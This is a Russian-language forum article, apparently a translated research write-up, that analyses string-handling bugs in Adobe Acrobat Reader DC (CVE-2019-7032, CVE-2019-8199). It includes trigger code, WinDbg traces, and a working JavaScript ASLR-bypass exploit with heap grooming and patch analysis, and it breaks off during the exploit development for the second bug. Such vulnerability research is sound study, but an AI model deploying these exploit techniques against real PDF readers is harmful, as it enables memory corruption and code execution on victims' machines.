• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пывн Adobe Reader

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
1. Введение

В настоящее время почти трудно увидеть уязвимости, вызванные пораженными строками, не говоря уже о тех, которые можно эксплуатировать. Это неудивительно, потому что все небезопасные функции были запрещены SDL (Security Development Lifecycle) при разработке современного программного обеспечения. Тем не менее, по-прежнему возможно появление критических уязвимостей в системе безопасности, если разработчики неправильно используют функции повышенной безопасности.

В случае Adobe Acrobat Reader DC были реализованы некоторые функции обработки строк с улучшенной безопасностью, но разработчики использовали эти функции неправильно. В общих случаях это не имеет большого значения. Однако при работе со строками в этом специальном программном обеспечении также может быть легко инициировано условие смешения типов. Эти два условия можно использовать для выполнения кода в некоторых сценариях.

В этом документе некоторые уязвимости, связанные с обработкой строк, будут рассмотрены как можно более подробно, включая анализ первопричин, разработку эксплойтов и анализ патчей. Две из этих уязвимостей могут привести к раскрытию информации, еще две могут обеспечить выполнение кода напрямую.

Пожалуйста, не стесняйтесь обращаться к автору в Твиттере, если у вас есть какие-либо вопросы по этой статье.

2. Основные концепции

В этой главе объясняются некоторые основные понятия о типах строк, метке порядка байтов и функциях обработки строк. Пропустите этот раздел, если вы уже знакомы с ними.

2.1 Типы строк

В Windows строки можно разделить на две категории: строки ANSI и строки Unicode. Строка ANSI состоит из серии символов ANSI, в которой каждый символ закодирован как 8-битное значение. Строка Unicode состоит из серии символов Unicode. Windows представляет символы Unicode с использованием кодировки UTF-16, в которой каждый символ кодируется как 16-битное значение.

Символ терминатора для строк ANSI является - \ x00, а для строк Unicode - \ x00\x00.

2.2 Метка порядка байтов

Если у символа есть несколько байтов данных, он может быть представлен в двух формах: little-endian и big-endian. Big-endian помещает наиболее значимый байт первым и наименее значимый байт последним, тогда как little-endian делает обратное.

1634317508117.png
1

Для строк UTF-16 порядок байтов можно указать в имени набора символов. Например, UTF-16LE указывает, что порядок байтов является little-endian, а UTF-16BE указывает, что порядок байтов является big-endian. Мы также можем использовать символ метки порядка байтов (BOM) U + FEFF, чтобы указать порядок байтов в строке. Порядок байтов самого символа спецификации указывает порядок байтов всей строки. Порядок байтов в строке может зависеть от платформы, если мы не указали его явно.

1634317522279.png


Обратите внимание, что символ спецификации всегда будет в начале строки. В другие места ставить бессмысленно.

2.3 Функции обработки строк

2.3.1 Традиционные функции


В следующей таблице показаны некоторые функции обработки строк, предоставляемые стандартной библиотекой времени выполнения C.

1634317531353.png


Эти функции очень удобны в использовании, но они также уязвимы для атак переполнения буфера.

2.3.2 Другая версия функций

В стандартной библиотеке времени выполнения C есть еще одна версия функций обработки строк. Буква n помещается в имена функций, чтобы отличать их от обычной версии функций.

1634317539012.png


Некоторые думают, что это версия традиционных функций с усиленной безопасностью. Например, strncpy более безопасен, чем strcpy, потому что его третий параметр может использоваться для указания количества символов, которые необходимо обработать.

C:
char *strncpy(char *destination, const char *source, size_t num);

В большинстве случаев это звучит разумно. Но она все еще уязвима при работе с некоторыми случаями. Символ NULL не будет добавлен в конец целевой строки, если длина исходной строки равна или больше, чем значение третьего параметра num. Это приведет к выходу за границы при обработке строк без символа терминатора.

Почему это могло произойти? Поскольку strncpy не была разработана как более безопасная версия strcpy.

strncpy изначально была введена в библиотеку C для работы с полями имен фиксированной длины в таких структурах, как записи каталога. Такие поля не используются так же, как строки: конечный ноль не нужен для поля максимальной длины, а установка конечных байтов для более коротких имен на нуль обеспечивает эффективные сравнения полей. strncpy по происхождению не является ограниченным strcpy, и комитет предпочел признать существующую практику, а не изменять функцию, чтобы она лучше соответствовала такому использованию.

2.3.3 Функции повышенной безопасности

Microsoft реализовала улучшенную версию функций обработки строк, имена которых заканчиваются суффиксом _s. В следующей таблице показаны традиционная версия и версия с повышенной безопасностью функций для копирования строк.

1634317572254.png


Давайте возьмем strcpy_s и strncpy_s в качестве примера, чтобы проиллюстрировать, как работает версия функций с повышенной безопасностью.

errno_t strcpy_s(char *dest, rsize_t dest_size, const char *src);
errno_t strncpy_s(char *dest, size_t dest_size, const char *src, size_t num);


При копировании содержимого в целевой буфер эти функции всегда обеспечивают возможность добавления завершающего нулевого символа. В противном случае операция завершится неудачно, и будет вызван обработчик недопустимого параметра. Не гарантируется, что версия функций обработки строк с повышенной безопасностью будет защищена при неправильном использовании. Например, даже функция strcpy_s может привести к переполнению буфера, если разработчики передают неправильное значение в качестве размера целевого буфера.

C:
char src[32] = { "0123456789abcdef" };
char dst[10] = { 0 };
strcpy_s(dst, 0x7FFF /*dst_size*/, src);

Здесь значение 0x7FFF намного больше, чем фактический размер целевого буфера. Такое использование убьет все функции безопасности. Функция будет работать как традиционная функция strcpy, что приведет к переполнению буфера.

Обратите внимание, что эти функции специфичны для Microsoft, что означает, что они доступны только в среде разработки Windows. Однако они могут быть доступны в некоторых последних версиях библиотеки C++.

3. Основные понятия Acrobat JavaScript

Прежде чем углубляться в детали уязвимостей, давайте узнаем некоторые базовые знания об Acrobat JavaScript, которые будут полезны для написания эксплойтов.

Adobe Acrobat Reader DC использует SpiderMonkey (может быть версия 24.2.0) в качестве движка JavaScript. Чтобы получить базовые знания о SpiderMonkey и методах отладки кода JavaScript, я рекомендую вам прочитать статью . Прочтите раздел 2.1 - Представление в памяти достаточно, чтобы понять приемы эксплуатации, представленные в этой статье.

Прочтите приложение к этому документу, чтобы узнать, как выполнять код JavaScript в файлах PDF.

3.1 Объект JavaScript Acrobat

В этом разделе объект поля будет использоваться в качестве примера для объяснения некоторых ключевых структур объектов JavaScript Acrobat. Согласно документу JavaScript ™ for Acrobat® API Reference, мы можем вызвать Document.addField для создания объекта поля.

JavaScript:
// Document.addField(cName, cFieldType, nPageNum, oCoords);
var array = new Array();
array.push(0x40414140);
array.push(this.addField('f1', 'text', 0, [0, 0, 100, 20]));

Здесь мы создали объект текстового поля и поместили его в нижний левый угол первой страницы. Кроме того, мы создали объект массива и задали первому элементу специальное значение, которое будет использоваться для поиска объекта массива в памяти, и установили второй элемент ссылкой на вновь созданный объект поля.

3.1.1 Расположение объекта

Теперь мы можем искать значение 0x40414140 в памяти процесса и исследовать базовые структуры объекта поля. Для каждого объекта JavaScript Acrobat размер объекта всегда будет 0x48 байтов.

; search value 40414140 to locate the array object
0:019> s -d 0 l?7fffffff 40414140
34c8f5d8 40414140 ffffff81 34c29cb8 ffffff87 @AA@.......4....

; the SpiderMonkey JavaScript object associated with the field object
0:019> dd 34c29cb8 L8
34c29cb8 34cb9220 34c25be0 3291efc0 60c524f8
34c29cc8 29cf0fb8 00000000 34cb81f0 ffffff87
; the Acrobat JavaScript object
0:019> dd 29cf0fb8 L14
29cf0fb8 3492afc0 34c29cb8 00000000 3ecd4fb0
29cf0fc8 39477f80 00000000 00000000 00000000
29cf0fd8 446c2f80 00000000 00000000 00000000
29cf0fe8 00000000 5f679820 c0c0c000 00000000
29cf0ff8 00000000 00000000 ???????? ????????

3.1.2 Имя объекта

Член со смещением 0x0C указывает на строку имени объекта.

0:019> da 3ecd4fb0
3ecd4fb0 "Field"


3.1.3 Свойства объекта

Элемент со смещением 0x10 указывает на хэш-таблицу свойств объекта. Обратите внимание, что слово свойство относится к внутренним свойствам объекта JavaScript Acrobat, а не к свойствам объекта JavaScript SpiderMonkey. Размер хэш-таблицы всегда будет 0x80 байтов, первая половина хранит массивы, чтобы позаботиться о конфликтах имен, другая половина хранит соответствующие значения длины массивов. Размер каждого элемента массива составляет 8 байтов, первые 4 байта указывают на строку имени свойства, остальные 4 байта содержат значение свойства.

; the property hash table
0:019> dd 39477f80
39477f80 446baff8 00000000 00000000 30e8cff8
39477f90 39479ff8 00000000 00000000 00000000
39477fa0 00000000 3bcf3ff8 00000000 00000000
39477fb0 446feff0 00000000 00000000 00000000
39477fc0 00000001 00000000 00000000 00000001
39477fd0 00000001 00000000 00000000 00000000
39477fe0 00000000 00000001 00000000 00000000
39477ff0 00000002 00000000 00000000 00000000
0:019> dd 446baff8 L2
446baff8 446bcff0 00000000
; property name
0:019> da 446bcff0
446bcff0 "ESLocked"

Мы можем написать код сценария WinDbg для перечисления всех имен и значений свойств.

r $t10 = 39477f80; // hash table address
.for (r $t0 = 0; $t0 < 0x10; r $t0 = $t0 + 1) {
r $t1 = poi($t10 + $t0 * 4);
r $t2 = poi($t10 + 0x40 + $t0 * 4);
.for (r $t3 = 0; $t3 < $t2; r $t3 = $t3 + 1) {
.printf "%ma: %p\n", poi($t1 + $t3 * 8), poi($t1 + $t3 * 8 + 4);
}
}
// ESLocked: 00000000
// Field: 442fcfa0
// ESLockable: 00000001
// PDDoc: 1a464bd0
// Widget: 00000000
// inheritedDestructProc: 00000000

Вы могли заметить, что есть свойство, также называемое Field. В настоящее время нам нужно только знать, что для разных типов объектов поля Acrobat размер внутреннего объекта свойства Field будет разным.

0:019> dd 442fcfa0
442fcfa0 5fbd557c 43856fb0 c0000000 0000000b
442fcfb0 44300ff8 44300ffc 44300ffc 00000000
442fcfc0 39822fe8 00000000 00000000 00000000
442fcfd0 00000000 442fefe8 00000001 00000000
442fcfe0 5fbb49c0 00000000 00000000 ffffffff
442fcff0 00000000 00000000 00000000 00000000
442fd000 ???????? ???????? ???????? ????????
442fd010 ???????? ???????? ???????? ????????

Вы также могли заметить, что объекты JavaScript SpiderMonkey и объекты JavaScript Acrobat не имеют таблиц виртуальных функций. Но у внутреннего объекта свойства Field есть таблица виртуальных функций.
0:019> dds 5fbd557c
5fbd557c 5f497e40 AcroForm!hb_set_invert
5fbd5580 5f783bc0 AcroForm!DllUnregisterServer+0xd1980
5fbd5584 5f781990 AcroForm!DllUnregisterServer+0xcf750
5fbd5588 5f7a5360 AcroForm!DllUnregisterServer+0xf3120
5fbd558c 5f7a69b0 AcroForm!DllUnregisterServer+0xf4770
5fbd5590 5f494db0 AcroForm!PlugInMain+0x4aa0
5fbd5594 5f74b580 AcroForm!DllUnregisterServer+0x99340
5fbd5598 5f5279a0 AcroForm!hb_set_invert+0x8fb60
5fbd559c 5f4a2530 AcroForm!hb_set_invert+0xa6f0
......

3.1.4 Функции объекта

Член со смещением 0x20 указывает на хеш-таблицу функции объекта. Эта таблица работает точно так же, как хэш-таблица свойств. Мы можем повторно использовать сценарий WinDbg для извлечения имен и адресов функций.

signatureAddLTV: 631a9160
signatureSign: 631abae0
setLock: 631aa780
signatureSetSeedValue: 631aaae0
signatureGetSeedValue: 631aa130
signatureGetModifications: 631a98a0
getLock: 631a9380
signatureInfo: 631a9540signatureValidate: 631ac5d0

XFA (также известный как формы XFA) означает архитектуру XML-форм, которая может использоваться в файлах PDF. В этом разделе объясняются некоторые ключевые структуры объектов XFA. Подобно объектам Acrobat JavaScript, мы можем использовать тот же способ для исследования объектов XFA.

Согласно документу Adobe LiveCycle Designer 11 Scripting Reference, мы можем вызвать createNode для создания определенного объекта XFA.

JavaScript:
var array = new Array();
array.push(0x40414140);
array.push(xfa.datasets.createNode('dataValue', 'dvNode1'));

Во-первых, нам нужно выяснить расположение хэш-таблицы свойств.

0:019> s -d 0 l?7fffffff 40414140
391936e0 40414140 ffffff81 39129d80 ffffff87 @AA@.......9....
0:019> dd 39129d80 L8
39129d80 391b6628 39125bc0 59194f80 53c324f8
39129d90 59168fb8 00000000 391b48d0 ffffff87
0:019> dd 59168fb8 L14
59168fb8 38cd4fc0 39129d80 00000000 42e0cfb0
59168fc8 59170f80 59246f80 00000000 00000000
59168fd8 58fd8f80 00000000 53da9ee0 540c0000
59168fe8 00000000 53e302b0 c0c0c000 53da9be0
59168ff8 00000000 00000000 ???????? ????????

Затем мы можем перечислить все свойства объекта Acrobat JavaScript.

xfaappmodelimpl: 1963ae80
xfaobjectimpl: 59088fa0
inheritedDestructProc: 00000000

В отличие от обычных объектов JavaScript Acrobat, объекты XFA имеют два специальных свойства с именами xfaappmodelimpl и xfaobjectimpl, и последнее - это то, что нас интересует.

0:019> dd 59088fa0
59088fa0 54543064 00000001 00000000 546a5f88
59088fb0 00000057 c0c0c0c0 c0c0c0d2 00000000
59088fc0 00000000 00000000 58f5cfb0 c0c0c0c2
59088fd0 00000000 417f7ec8 00000000 00000000
59088fe0 00000000 58f64fb0 c0c0c0c7 00000000
59088ff0 00000000 00000000 00000000 d0d0d0d0
59089000 ???????? ???????? ???????? ????????
59089010 ???????? ???????? ???????? ????????

Для разных типов объектов XFA размер внутреннего объекта свойства xfaobjectimpl будет разным. И объекты xfaobjectimpl также имеют таблицы виртуальных функций.

0:019> dds 54543064
54543064 53e2fc10 AcroForm!hb_set_invert+0x147dd0
54543068 53d836d0 AcroForm!hb_set_invert+0x9b890
5454306c 54279590 AcroForm!DllUnregisterServer+0x377350
54543070 54247790 AcroForm!DllUnregisterServer+0x345550
54543074 542e5ec0 AcroForm!DllUnregisterServer+0x3e3c80
54543078 53d356e0 AcroForm!hb_set_invert+0x4d8a0
5454307c 53cff550 AcroForm!hb_set_invert+0x17710

3.3 Объект ArrayBuffer

Объекты ArrayBuffer играют важную роль при получении произвольных примитивов чтения и записи. Когда значение byteLength больше 0x68, резервное хранилище объекта ArrayBuffer будет выделено из системной кучи (через ucrtbase!Calloc), в противном случае оно будет выделенно из постоянной кучи SpiderMonkey. Кроме того, при выделении из системной кучи нижележащий буфер кучи будет на 0x10 байт больше для хранения заголовка ObjectElements.

C++:
class ObjectElements {
public:
    uint32_t flags;               // can be any value, default is 0
    uint32_t initializedLength;   // byteLength
    uint32_t capacity;            // pointer of associated view object
    uint32_t length;              // can be any value, default is 0
    // ......
};

Имена членов в ObjectElements не имеют смысла для ArrayBuffer. Здесь второй член содержит значение byteLength, а третий член содержит указатель на связанный объект DataView. Ценности других членов бессмысленны.

JavaScript:
var ab = new ArrayBuffer(0x70);
var dv = new DataView(ab);
dv.setUint32(0, 0x40414140, true);

После выполнения вышеуказанного кода JavaScript резервное хранилище объекта ArrayBuffer будет выглядеть следующим образом.

; search value 40414140 to locate the backing store
0:013> s -d 0 l?7fffffff 40414140
2281af90 40414140 00000000 00000000 00000000 @AA@............
30d63080 40414140 ffffff81 00000001 ffffff83 @AA@............
0:013> dd 2281af90 - 10 L90/4
; -, byteLength, viewobj, -,
2281af80 00000000 00000070 3538f5b0 00000000
; data
2281af90 40414140 00000000 00000000 00000000
2281afa0 00000000 00000000 00000000 00000000
2281afb0 00000000 00000000 00000000 00000000
2281afc0 00000000 00000000 00000000 00000000
2281afd0 00000000 00000000 00000000 00000000
2281afe0 00000000 00000000 00000000 00000000
2281aff0 00000000 00000000 00000000 00000000
2281b000 ???????? ???????? ???????? ????????

Если мы можем изменить значение члена byteLength объектов ArrayBuffer, тогда мы сможем получить доступ за пределы границ. Но будьте осторожны с указателем связанного объекта DataView, он может быть только 0 или действительным указателем DataView, процесс может немедленно завершиться с ошибкой, если мы изменим его на некоторые другие значения.

4. Анализ первопричин

В Adobe Acrobat Reader DC реализованы некоторые функции обработки строк с улучшенной безопасностью, которые можно идентифицировать путем поиска определенных строк. В следующей таблице приведены подробные сведения об этих функциях.

1634317880803.png


При обработке строк общие API проверяют тип строки и перенаправляют запрос соответствующей функции. Следующий код показывает, как работает функция strnlen_safe.

1634317890445.png


Здесь функция проверяет тип строки по первым двум байтам строки. Строка будет распознана как строка Unicode, если первый байт равен 0xFE, а второй - 0xFF, в противном случае она будет распознана как строка ANSI. Фактически, FE FF - это байты метки порядка байтов в формате с прямым порядком байтов.

Для срабатывания уязвимостей необходимы два условия.

1. При проверке типа строки может возникнуть путаница. Строку ANSI можно распознать как строку Unicode, если первые два байта - это FEFF. Это может привести к выходу за границы доступа, поскольку нулевой терминатор Unicode не может быть найден в строке ANSI.

1634317899188.png


2. Универсальные API используются разработчиками неправильно. В большинстве случаев размер целевого буфера будет установлен как 0x7FFFFFFF. Как обсуждалось ранее, это может привести к проблемам с безопасностью.

JavaScript:
// some examples extracted from EScript.api
strnlen_safe(a2,  0x7FFFFFFF, 0)
strnlen_safe(v15, 0x7FFFFFFF, 0)
strcpy_safe(v1,  0x7FFFFFFF, Str1, 0)
strcpy_safe(v12, 0x7FFFFFFF, &v34, 0)
strcat_safe(v25, 0x7FFFFFFF, "&cc:", 0)
strcat_safe(v25, 0x7FFFFFFF, "&bcc:", 0)

Используя эти два условия, мы можем добиться раскрытия информации или выполнения кода в некоторых сценариях.

5. Примеры

5.1 CVE-2019-7032

5.1.1 Описание уязвимости


CVE-2019-7032 - это уязвимость чтения за пределами границ, которую можно использовать для раскрытия информации в обход ASLR. Она влияет на Adobe Acrobat Reader DC 2019.010.20069 и более ранние версии и была установлена в 2019.010.20091 с помощью рекомендаций по безопасности APSB19-07.

Она использовался в Tianfu Cup 2018 с уязвимостью Use-After-Free для выполнения кода.

5.1.2 Анализ первопричин

Эта уязвимость может быть вызвана следующим кодом JavaScript.

JavaScript:
// Tested on Adobe Acrobat Reader DC 2019.010.20069
var f = this.addField('f1', 'text', 0, [1, 2, 3, 4]);
f.userName = '\xFE\xFF';

Здесь мы создали объект text и присвоили фальшивую строку Unicode, которая на самом деле была строкой ANSI, свойству userName объекта. Фактически, мы можем использовать другие типы полевых объектов и другие свойства, чтобы вызвать уязвимость. В следующей таблице показаны 18 возможных комбинаций, вызывающих уязвимость. Основные причины этих сбоев одинаковы.

1634317928983.png


Произошел сбой процесса по адресу AcroForm!PlugInMain + 0xbbbcd из-за чтения за пределами допустимого диапазона.
(3c9c.14ac): Access violation - code c0000005 (!!! second chance !!!)
eax=4270efd0 ebx=4270efd0 ecx=00000000 edx=4270f000 esi=00000008 edi=7fffffff
eip=563c9539 esp=00d3c6b4 ebp=00d3c6c0 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
AcroForm!PlugInMain+0xbbbcd:
563c9539 8a02 mov al,byte ptr [edx] ds:002b:4270f000=??

Здесь строка \xFE\xFF обрабатывалась в функции miUCSStrlen_safe.

0:000> db edx-10 L20
4270eff0 d4 32 aa 04 bb bb ba dc-fe ff 00 d0 d0 d0 d0 d0 .2..............
4270f000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

Чтение за пределами границ может быть инициировано, поскольку строка ANSI обрабатывалась таким образом, что терминатор Unicode не может быть найден.

C:
unsigned int miUCSStrlen_safe(wchar_t *src, unsigned int max_bytes,
                              void *error_handler) {
  unsigned int result;
  wchar_t *str = src;
  if ( src ) {
    unsigned int bytes = 0;
    if ( max_bytes ) {
      do {
        char ch = *(char *)str;
        ++str;
        if ( !ch && !*((char *)str - 1) ) break; // check Unicode terminator
        bytes += 2;
      } while ( bytes < max_bytes );
    }
    if ( bytes == max_bytes ) {
      void *handler = hb_set_invert;
      if ( error_handler ) handler = error_handler;
      handler(L"String greater than maxSize", L"miUCSStrlen_safe", 0, 0, 0);
      result = max_bytes;
    } else {
      result = bytes;
    }
  } else {
    void *handler = hb_set_invert;
    if ( error_handler ) handler = error_handler;
    handler(L"Bad parameter", L"miUCSStrlen_safe", 0, 0, 0);
    result = 0;
  }
  return result;
}

Следующий код показывает информацию трассировки стека при сбое процесса. Здесь фрейм стека № 05 AcroForm!Hb_ot_tag_to_language + 0x6524b находился внутри функции установки свойства userName (sub_20A2AE95 в AcroForm.api).

0:000> k
# ChildEBP RetAddr
00 00d3c6c0 56310259 AcroForm!PlugInMain+0xbbbcd
01 00d3c6d4 5652c799 AcroForm!PlugInMain+0x28ed
02 00d3c6f4 5652c975 AcroForm!DllUnregisterServer+0x21017
03 00d3c718 565c234f AcroForm!DllUnregisterServer+0x211f3
04 00d3c734 564eaf4b AcroForm!DllUnregisterServer+0xb6bcd
05 00d3c770 5930dbbc AcroForm!hb_ot_tag_to_language+0x6524b
06 00d3c7d8 5930da05 EScript!mozilla::HashBytes+0x2e3bf

5.1.3 Разработка эксплойтов

Уязвимость сработала во время присвоения полному объекту свойства userName. Важнейшей частью было то, что исходная строка будет скопирована во вновь созданный буфер кучи, который будет связан со свойством. Это означает, что мы можем прочитать просочившуюся информацию с помощью кода JavaScript. Следующий код показывает упрощенную модель уязвимости.

C:
// src <- field.userName <- "\xFE\xFF....."
// len <- number of bytes
size_t len = strnlen_safe(src, 0x7FFFFFFF, 0);  // Out-Of-Bounds Read
char* dst = calloc(1, aligned_size(len + 4));
memcpy(dst, src, len);                          // Information Disclosure
dst[len] = dst[len + 1] = '\0';
// field.userName <- dst

Чтобы воспользоваться уязвимостью, нам просто нужно поместить объект с указателями виртуальных таблиц за буфер кучи. Как обсуждалось ранее, обычные объекты JavaScript не имеют указателей на виртуальные таблицы. Здесь мы выберем объект dataGroup XFA для использования уязвимости.

Код:
; dataGroup object
0:016> dd 4b762fb0
4b762fb0  571eb470 00000001 00000000 5734d308
4b762fc0  00000052 c0c0c0c0 c0c0c0d2 00000000
4b762fd0  00000000 00000000 4b75afb0 c0c0c0c2
4b762fe0  1f028ed0 00000000 00000000 00000000
4b762ff0  00000000 00000000 00000000 00000000
4b763000  ???????? ???????? ???????? ????????
0:016> ?571eb470 - acroform
Evaluate expression: 8500336 = 0081b470

Однако функцию Document.addField нельзя будет вызвать в режиме XFA. Если она был вызвана, будет показано исключение.

NotAllowedError: Security settings prevent access to this property or method.
Doc.addField:25:Doc undefined:Open


Это может быть решено путем статического определения объекта поля с помощью кода PDF. Следующий код определяет объект текстового поля с именем MyField1.

8 0 obj
<<
/Type /Annot /Subtype /Widget /FT /Tx /P 2 0 R
/T (MyField1) /H /N /F 6 /Ff 65536
/DA (/F1 12 Tf 1 1 1 rg) /Rect [10 600 11 700]
/V (The quick brown fox ate the lazy mouse)
>>
endobj

Мы можем вызвать уязвимость в функции обратного вызова события инициализации основного тега подчиненной формы. Мы можем ссылаться на объект поля, вызвав event.target.getField ('MyField1'). Свойства объекта поля могут быть доступны только для чтения в функциях обратного вызова других событий или если отрисовка PDF-файла завершена.

В следующем коде показано, как использовалась уязвимость для обхода ASLR.

JavaScript:
function generateString(size) {
    var string = '\xFE\xFF' + 'a'.repeat(size);
    var flag = '\x40\x41\x41\x40';      // for debug purpose
    return string.substr(0, size - flag.length - 1) + flag;
}
function swapBytes(value) {
    return ((value % 0x100) &lt;&lt; 8) | (value / 0x100);
}
function exploit() {
    var field = event.target.getField('MyField1');
    while (true) {
        var objectSize = 0x50;
        try {
            var string = generateString(objectSize);
            var array = new Array(0x1000);
            for (var i = 0; i &lt; array.length; ++i) {
                array[i] = xfa.datasets.createNode('dataGroup', 'dataGroup');
            }
            for (var i = 0; i &lt; array.length; i += 2) {
                array[i] = null;
                array[i] = undefined;
            }
            field.userName = string;
        } catch(e) {}
        try {
            var high = field.userName.charCodeAt((objectSize + 8) / 2);
            var low = field.userName.charCodeAt((objectSize + 8) / 2 - 1);
            high = swapBytes(high);
            low = swapBytes(low);
            var addr = (high &lt;&lt; 16) | low;
            if ((addr &amp; 0xFFFF) == 0xb470) {
                addr = addr - 0x0081b470;
                xfa.host.messageBox('AcroForm at 0x' + addr.toString(16));
                return addr;
            }
        } catch(e) {}
    }
}
exploit();

5.1.4 Анализ патча

Уязвимость исправлена в Adobe Acrobat Reader DC 2019.010.20091. Она было исправлено путем помещения 3 дополнительных байтов NULL (всего 4) в конец буфера кучи. Изменения были внесены в функцию sub_20A6CF79 в AcroForm.api.

C:
int __cdecl sub_20A6CF79(_DWORD *a1, int a2, int *a3, int a4) {
  // --------------------------- cut ---------------------------
  bytes = (dword_2134DC60 + 16)(a2, v4[1] + 2, v6 - 2, 0, 0, 0);
  *a3 = bytes;
  buffer = malloc(bytes + 4);               // 4 extra bytes
  if ( !buffer ) return 0;
  (dword_2134DC60 + 16)(a2, v4[1] + 2, v4[2] - 2, buffer, *a3 + 4, a4);
  v9 = ++*a3;
  if ( v12 / 2 < *a3 ) {
    v10 = sub_208532E4(buffer, v9 + 3);
    v9 = *a3;
    buffer = v10;
  }
  memset((void *)(buffer + v9 - 1), 0, 4u); // put 4 '\x00' at the end
  return buffer;
}
Она сработает, как ожидалось, даже если строка ANSI обрабатывалась функцией miUCSStrlen_safe, поскольку всегда будет найден терминатор NULL.

0:000> g
Breakpoint 1 hit
eax=4c0daff8 ebx=4c0daff8 ecx=00000000 edx=0116ce84 esi=52a88fe8 edi=00000001
eip=773cac9c esp=0116ce34 ebp=0116ce44 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
AcroForm!PlugInMain+0xbd350:
773cac9c 55 push ebp
0:000> db poi(esp+4) L10
4c0daff8 fe ff 00 00 00 00 d0 d0-?? ?? ?? ?? ?? ?? ?? ?? ........????????
0:000> !heap -p -a poi(esp+4)
address 4c0daff8 found in
_DPH_HEAP_ROOT @ 4b01000
in busy allocation (DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
4fcb1d9c: 4c0daff8 6 - 4c0da000 2000
// ......
74afa9f6 ucrtbase!_malloc_base+0x00000026
7730e5cf AcroForm!PlugInMain+0x00000c83
7752cfcc AcroForm!DllUnregisterServer+0x0001f9ca ; sub_20A6CF79
7752e7f1 AcroForm!DllUnregisterServer+0x000211ef
775c4224 AcroForm!DllUnregisterServer+0x000b6c22
774ecdc9 AcroForm!hb_ot_tag_to_language+0x000652b9
5072e02f EScript!mozilla::HashBytes+0x0002e839
// ......

5.2 CVE-2019-8199

5.2.1 Описание уязвимости


CVE-2019-8199 - это выходящая за границы уязвимость чтения и записи, которую можно использовать для выполнения кода. Хотя она влияет на Adobe Acrobat Reader DC 2019.012.20040 и более ранние версии, её можно использовать только в 2019.010.20099 и более ранних версиях. Она была исправлена в версии 2019.021.20047 с помощью рекомендации по безопасности APSB19-49.

5.2.2 Анализ первопричин

Эта уязвимость может быть вызвана следующим кодом JavaScript.

// Tested on Adobe Acrobat Reader DC 2019.010.20099
Collab.unregisterReview('\xFE\xFF');


Или с помощью следующего кода JavaScript.

Collab.unregisterApproval('\xFE\xFF');

Процесс завершился с ошибкой на Annots!PlugInMain + 0x51377 из-за чтения за пределами допустимого диапазона.

(3c88.20a8): Access violation - code c0000005 (!!! second chance !!!)
eax=0000d0d0 ebx=35a90ff8 ecx=36de5000 edx=3ffffffb esi=fecac000 edi=00000000
eip=5b933bbf esp=00dacae0 ebp=00dacae4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
Annots!PlugInMain+0x51377:
5b933bbf 0fb7040e movzx eax,word ptr [esi+ecx] ds:002b:35a91000=????

Здесь строка \xFE\xFF обрабатывалась в функции miUCSStrcpy_safe.

0:000> db esi+ecx-10 L20
35a90ff0 a4 99 d6 04 bb bb ba dc-fe ff 00 d0 d0 d0 d0 d0 ................
35a91000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

Чтение и запись за пределами границ могут быть инициированы, поскольку строка ANSI обрабатывалась таким образом, что терминатор Unicode не может быть найден.

C:
signed int miUCSStrcpy_safe(wchar_t *dst, unsigned int max_bytes,
                            wchar_t *src, void *error_handler) {
  wchar_t *ptr = dst;
  if ( dst ) {
    if ( src ) {
      if ( max_bytes > 1 ) {
        unsigned int max_len = max_bytes >> 1;
        do {
          wchar_t e = *(wchar_t *)((char *)ptr + (char *)src - (char *)dst);
          *ptr = e;
          ++ptr;
          if ( !e ) break;          // check Unicode terminator
          --max_len;
        } while ( max_len );
        if ( !max_len ) {
          *(ptr - 1) = 0;
          void *handler = Handler;
          if ( error_handler ) handler = error_handler;
          handler(L"Destination too small", L"miUCSStrcpy_safe", 0, 0, 0);

                   return 0;
      }
    } else if ( max_bytes > 1 ) {
      *dst = 0;
    }
  }
  void *handler = Handler;
  if ( error_handler ) handler = error_handler;
  handler(L"Bad parameter", L"miUCSStrcpy_safe", 0, 0, 0);
  return -1;
}

Следующий код показывает информацию трассировки стека при сбое процесса. Здесь кадр стека #05 Annots!PlugInMain + 0xfa4b8 находился в пределах функции реализации, лежащей в основе Collab.unregisterReview (sub_221FCC5D в Annots.api).

0:000> k
# ChildEBP RetAddr
00 00dacae4 5b8ea08c Annots!PlugInMain+0x51377
01 00dacafc 5b905baa Annots!PlugInMain+0x7844
02 00dacb34 5b905ac4 Annots!PlugInMain+0x23362
03 00dacb4c 5b9cbfac Annots!PlugInMain+0x2327c
04 00dacb64 5b9dcd00 Annots!PlugInMain+0xe9764
05 00dacbb8 5c041fe9 Annots!PlugInMain+0xfa4b8
06 00dacc30 5c026d06 EScript!mozilla::HashBytes+0x427f3
......

5.2.3 Разработка эксплойтов

Уязвимость сработала при вызове функции Collab.unregisterReview. Ключевым моментом было то, что исходная строка будет скопирована во вновь созданный буфер кучи, размер которого был вычислен с помощью вызова ASstrnlen_safe. Но запрос на копирование обработался функцией strcpy_safe. Следующий код показывает упрощенную модель уязвимости.

C:
// src <- arg of unregisterReview / unregisterApproval
// src = "\xFE\xFF......"
size_t len = ASstrnlen_safe(src, 0x7FFFFFFF, 0);    // ANSI Function
char* dst = (char *)malloc(len + 1);
strcpy_safe(dst, 0x7FFFFFFF, src, 0);   // Generic API -> Unicode Function

Чтобы воспользоваться уязвимостью, нам нужно контролировать структуру памяти.

1. Распылите много строк и объектов ArrayBuffer, чтобы они занимали память. Здесь мы каждый раз создаем 5 объектов как единое целое.

1634318156192.png


2. Освободите первый и третий объекты ArrayBuffer в каждом модуле, чтобы создать много промежутков в памяти.

1634318163277.png


3. Активируйте уязвимость так, чтобы буфер кучи исходной строки был выделен в первом промежутке, а целевой буфер кучи был выделен во втором промежутке в одном из модулей.

1634318172684.png


